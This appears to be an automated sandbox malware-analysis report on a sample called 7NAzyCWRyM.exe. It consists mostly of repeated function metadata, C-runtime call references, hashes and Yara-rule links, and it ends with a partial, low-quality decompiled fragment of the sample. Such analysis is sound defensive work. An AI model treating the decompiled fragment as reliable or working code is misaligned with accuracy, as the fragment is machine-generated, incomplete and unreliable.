Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00420521
__aullrem.LIBCMT ref: 004206F1
__aulldiv.LIBCMT ref: 00420713

Strings

9, xrefs: 00420724

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: f3ea3bd5a5d8731bcd15e338c79c418a509c6904c19202aba0de5927f7148828
Instruction ID: 86ac86857a953bb442b7792d7ec61dceb3dc58af330ded2a5ec12e3810bcbc72
Opcode Fuzzy Hash: f3ea3bd5a5d8731bcd15e338c79c418a509c6904c19202aba0de5927f7148828
Instruction Fuzzy Hash: AE4126B1E001299FDB24CF48D881BAEB7B5FF85314F5040AAD148AB242C7785E81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00421766, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004217E0
__aullrem.LIBCMT ref: 004219B0
__aulldiv.LIBCMT ref: 004219D2

Strings

9, xrefs: 004219E3

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: f3ea3bd5a5d8731bcd15e338c79c418a509c6904c19202aba0de5927f7148828
Instruction ID: 3559609eab814882f56a55a6880160407de4eb265fdc79e1351bcf3c9f4ebd44
Opcode Fuzzy Hash: f3ea3bd5a5d8731bcd15e338c79c418a509c6904c19202aba0de5927f7148828
Instruction Fuzzy Hash: D34137F0E102299FDB24CF48D881BAEB7B5FF95314F9041AAD148AB251C7785E85CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0043046C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00430498
__aullrem.LIBCMT ref: 00430665
__aulldiv.LIBCMT ref: 00430687

Strings

9, xrefs: 00430698

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: a112a8069bb8d99c7884fafc1b46841c926722ad3a98b26bec3d6e4584b60ada
Instruction ID: b601a848ec8cf5585a5da6f1e3eec6870777ea25645016c504f60f2fc120868c
Opcode Fuzzy Hash: a112a8069bb8d99c7884fafc1b46841c926722ad3a98b26bec3d6e4584b60ada
Instruction Fuzzy Hash: 1041E7B1D01629DFEB64CF49CC99BAEB7B5FB88300F14969AD449A7244D7389E80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 004204F5, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00420521
__aullrem.LIBCMT ref: 004206F1
__aulldiv.LIBCMT ref: 00420713

Strings

9, xrefs: 00420724

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 015bd58c39f140a0ddf7e6156dc492c93b8fb830a57e6bc42221f82b51de0b54
Instruction ID: 7bd67c0107029b37288ea9ce349e7c7f67041ddc4f44e0eef876a49ef0af4111
Opcode Fuzzy Hash: 015bd58c39f140a0ddf7e6156dc492c93b8fb830a57e6bc42221f82b51de0b54
Instruction Fuzzy Hash: 7F4117B1E001299FDF24CF48D881BAEB7F5FB85314F5041AAE148AB242C7785E91CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004217B4, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004217E0
__aullrem.LIBCMT ref: 004219B0
__aulldiv.LIBCMT ref: 004219D2

Strings

9, xrefs: 004219E3

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 015bd58c39f140a0ddf7e6156dc492c93b8fb830a57e6bc42221f82b51de0b54
Instruction ID: 3bfbdadb19832af3911f9df8cb8c9e2e021b70578646753c1cb70609b8b99b75
Opcode Fuzzy Hash: 015bd58c39f140a0ddf7e6156dc492c93b8fb830a57e6bc42221f82b51de0b54
Instruction Fuzzy Hash: F94116F1E002299FDB24CF48D881BAEB7B5FF95314F9041AAD188AB251C7785E81CF19

Uniqueness

Uniqueness Score: -1.00%

Function 0043041B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00430498
_get_int64_arg.LIBCMTD ref: 004304C0
__aullrem.LIBCMT ref: 00430665
__aulldiv.LIBCMT ref: 00430687

Strings

9, xrefs: 00430698

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 08d43a8608b61ba92973e38da21e8d37162d83aaaef36a2fdee9e652a166d165
Instruction ID: 32cd55dd145623bef91d986a09fde88563f71cc168be2322b63dda7755cca575
Opcode Fuzzy Hash: 08d43a8608b61ba92973e38da21e8d37162d83aaaef36a2fdee9e652a166d165
Instruction Fuzzy Hash: AD41E6B1D05628DFDB64CF58C899BAEB7B5BB88300F2496DAD409A7244D7389E80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0042049E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00420521
__aullrem.LIBCMT ref: 004206F1
__aulldiv.LIBCMT ref: 00420713

Strings

9, xrefs: 00420724

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: ee124a8a9acc7c6589d19af3c41d8849251d5e0f81c1b9db126c65f90e7c52af
Instruction ID: cc2d19424a19fb57c22eca70cc5e20ded1b415c6e7ea750d7fa85c362fc3c1d4
Opcode Fuzzy Hash: ee124a8a9acc7c6589d19af3c41d8849251d5e0f81c1b9db126c65f90e7c52af
Instruction Fuzzy Hash: 7641F6B1E001299FDB24CF48E981B9EB7F5FB85314F5041EAE149AB202C7789E91CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042175D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004217E0
_get_int64_arg.LIBCMTD ref: 00421808
__aullrem.LIBCMT ref: 004219B0
__aulldiv.LIBCMT ref: 004219D2

Strings

9, xrefs: 004219E3

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: ee124a8a9acc7c6589d19af3c41d8849251d5e0f81c1b9db126c65f90e7c52af
Instruction ID: 2e39a303b514bf0cc38ef6fa2a8016bc01a3258250a5b141bc4fd6bfa12962e3
Opcode Fuzzy Hash: ee124a8a9acc7c6589d19af3c41d8849251d5e0f81c1b9db126c65f90e7c52af
Instruction Fuzzy Hash: 3441E5F1E002299FDB24CF48D981BAEB7B5FF96314F9041AAE148A7251C7785E81CF19

Uniqueness

Uniqueness Score: -1.00%

Function 0041DCC3, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041DDCD
__free_base.LIBCMTD ref: 0041DDD9

Strings

pHead->nBlockUse == nBlockUse, xrefs: 0041DCDB
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041DCE7

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __free_base_memset
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nBlockUse == nBlockUse
API String ID: 2669475236-3676899318
Opcode ID: e2180964208b77fc99c1d6ab0109d65e6ae53843698148fcf0bfd7d1de9b3bc8
Instruction ID: b53b163c30674a03b64f9a74fcd56d845620c2317b5880bbd8f105d1bd9b9400
Opcode Fuzzy Hash: e2180964208b77fc99c1d6ab0109d65e6ae53843698148fcf0bfd7d1de9b3bc8
Instruction Fuzzy Hash: 72213EB8E00104EFCB14CF44DA91AAA77B2BB89308F34C199D4051B395D779EE42EF98

Uniqueness

Uniqueness Score: -1.00%

Function 0041DD3E, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041DDCD
__free_base.LIBCMTD ref: 0041DDD9

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041DD4A
_pLastBlock == pHead, xrefs: 0041DD3E

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __free_base_memset
String ID: _pLastBlock == pHead$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2669475236-449961717
Opcode ID: 7e6a11c2dc842cf68aaad2f3c8c7b1f74179194bf8b1c7d25b8fdb0a3aed3a02
Instruction ID: 01c980d711e12f5cb8100e2906bd16f32e33b50f67fa14289e127bfffb1f1afc
Opcode Fuzzy Hash: 7e6a11c2dc842cf68aaad2f3c8c7b1f74179194bf8b1c7d25b8fdb0a3aed3a02
Instruction Fuzzy Hash: DF01A7B4E00104EBCB04CB54D981B9AB7B1BB89308F34819AD5096B386D675DE42DB99

Uniqueness

Uniqueness Score: -1.00%

Function 004358A6, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 00435907

Strings

pwcs != NULL, xrefs: 004358C5, 00435902
_wcstombs_l_helper, xrefs: 004358FD
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 004358CE, 004358F8

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$pwcs != NULL
API String ID: 3730194576-2632876063
Opcode ID: 361c2d95a8ca29e5ece3920d216e5e2193362e95ba1aff001b8442620c1772cd
Instruction ID: b00b5caa87fc927f9f94b7a5cc35ece541f1cb94410b582be7db06682901a6ce
Opcode Fuzzy Hash: 361c2d95a8ca29e5ece3920d216e5e2193362e95ba1aff001b8442620c1772cd
Instruction Fuzzy Hash: 33F0C830A80718AADB206EA0DD03B5A32606B18718F10267FF846741C2DBBE4A55865D

Uniqueness

Uniqueness Score: -1.00%

Function 00435D85, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 00435DFB

Strings

_wcstombs_s_l, xrefs: 00435DF1
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 00435DBF, 00435DEC
(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 00435DB3, 00435DF6

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3730194576-625432840
Opcode ID: d5ba48497db3ce87c3ef9e19263deafdcec93e31ccb1c394668fb5281b4f0e04
Instruction ID: 8dd1768c58c70aaecf5fe5af94608913ac7d7738e8b57cedc4fa58536ab4911e
Opcode Fuzzy Hash: d5ba48497db3ce87c3ef9e19263deafdcec93e31ccb1c394668fb5281b4f0e04
Instruction Fuzzy Hash: C501F470D40708ABEB209E40CC0B7AFB260AB54B1DF10942FE914792C1D3FE4685CB8D

Uniqueness

Uniqueness Score: -1.00%

Function 00427C3A, Relevance: 6.0, APIs: 4, Instructions: 32threadCOMMON

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 00427C57

Part of subcall function 00427990: TlsGetValue.KERNEL32(00000001,00427C06,1CD43BDE), ref: 004279A5
Part of subcall function 00427990: TlsGetValue.KERNEL32(00000001,00000001), ref: 004279C6
Part of subcall function 00427990: __crt_wait_module_handle.LIBCMTD ref: 004279DC
Part of subcall function 00427990: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 004279F6

__mtterm.LIBCMTD ref: 00427C65
__initptd.LIBCMTD ref: 00427C74
GetCurrentThreadId.KERNEL32 ref: 00427C7C

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: Value$AddressCurrentProcThread__crt_wait_module_handle__encode_pointer__initptd__mtterm
String ID:
API String ID: 1673568325-0
Opcode ID: 18d51aa96bb84b88461f9dea41283d71132a40d3d2c199f83c29948a77565e75
Instruction ID: 5d682302a0a33696e913c5dba16c440211028347431b973763b660f42093e2ae
Opcode Fuzzy Hash: 18d51aa96bb84b88461f9dea41283d71132a40d3d2c199f83c29948a77565e75
Instruction Fuzzy Hash: 2BF0B4F4F04215ABC700EFB9FC85A5EB770AF88314F5082A9E815D7391E635D580CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0042555B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 00425712
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004269F0

Strings

n, xrefs: 0042573D

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: eeced6afe2204e94d2c1574a418152fee67130996bc668f51f7882dbafe6ea43
Instruction ID: 241495de4581614ba04ee16e01f6875a5ca1a8ea0d3a33eec7f22082efd5ea43
Opcode Fuzzy Hash: eeced6afe2204e94d2c1574a418152fee67130996bc668f51f7882dbafe6ea43
Instruction Fuzzy Hash: F141CD70A0467DCBCF24CF60E8547EEBBB0AF52315FA4419BE8596A241C7388E81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00425586, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 00425712
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004269F0

Strings

n, xrefs: 0042573D

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: 485a88e1c23cfb6934d39ad06fa768308bd015561b469357943794d5633b0f6a
Instruction ID: 241495de4581614ba04ee16e01f6875a5ca1a8ea0d3a33eec7f22082efd5ea43
Opcode Fuzzy Hash: 485a88e1c23cfb6934d39ad06fa768308bd015561b469357943794d5633b0f6a
Instruction Fuzzy Hash: F141CD70A0467DCBCF24CF60E8547EEBBB0AF52315FA4419BE8596A241C7388E81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0042564C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 00425712
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004269F0

Strings

n, xrefs: 0042573D

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: d9d0001c099bf95dbe898b61279ada03be4ba55e695001a6fa16edc354d60621
Instruction ID: 9d60b949019a3ab48891fe280cef13c95eb8de12ddb08ec89b58f7402ddaef89
Opcode Fuzzy Hash: d9d0001c099bf95dbe898b61279ada03be4ba55e695001a6fa16edc354d60621
Instruction Fuzzy Hash: 3131B070A0557DCBCF24CF60E4547EEBBB0AF52315FA441DBE8596A241C6389E81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00425F61, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_isxdigit.LIBCMTD ref: 00425FD0
__hextodec.LIBCMTD ref: 00426003
_isdigit.LIBCMTD ref: 00426029
__inc.LIBCMTD ref: 00426113
__un_inc.LIBCMTD ref: 00426137
_isxdigit.LIBCMTD ref: 00426190
__hextodec.LIBCMTD ref: 004261B3
_isdigit.LIBCMTD ref: 004261D6
__inc.LIBCMTD ref: 00426287
__un_inc.LIBCMTD ref: 004262AB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004269F0

Strings

p, xrefs: 00425FC2

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: Locale__hextodec__inc__un_inc_isdigit_isxdigit$UpdateUpdate::~_
String ID: p
API String ID: 1652772854-2181537457
Opcode ID: 445ddcfd056ee97b4ead233dd063a6ef32c7d0ec7aec345a95ad471e6ff6f5e2
Instruction ID: 386777115dabfe024f7b88921f3f2a273cf35c02e8f54580fa7640cc67c26c01
Opcode Fuzzy Hash: 445ddcfd056ee97b4ead233dd063a6ef32c7d0ec7aec345a95ad471e6ff6f5e2
Instruction Fuzzy Hash: DB219370E4427A8BDF24CF65AA447FEBBB0AF04308F6540EBD41962306D7385A81EF49

Uniqueness

Uniqueness Score: -1.00%

Function 0041D93F, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

__CrtCheckMemory.LIBCMTD ref: 0041D94F

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041D964
_CrtCheckMemory(), xrefs: 0041D958

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: CheckMemory
String ID: _CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2067751306-2660621803
Opcode ID: 5bea9d9c6e7c3da268b5e1a74e91765e227de28b7cc2832f82ab4f18fe014074
Instruction ID: 10c5a582a08e3625a3362155a4a0de0fb533562449370652da42112e7b1d6b1d
Opcode Fuzzy Hash: 5bea9d9c6e7c3da268b5e1a74e91765e227de28b7cc2832f82ab4f18fe014074
Instruction Fuzzy Hash: CAF0E5F8F50204A6DB208F21EC067623710B711309F2080B7E608542C9E1F8C4C49E4E

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 7NAzyCWRyM.exe PID: 6516 Parent PID: 6592 7NAzyCWRyM.exeCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
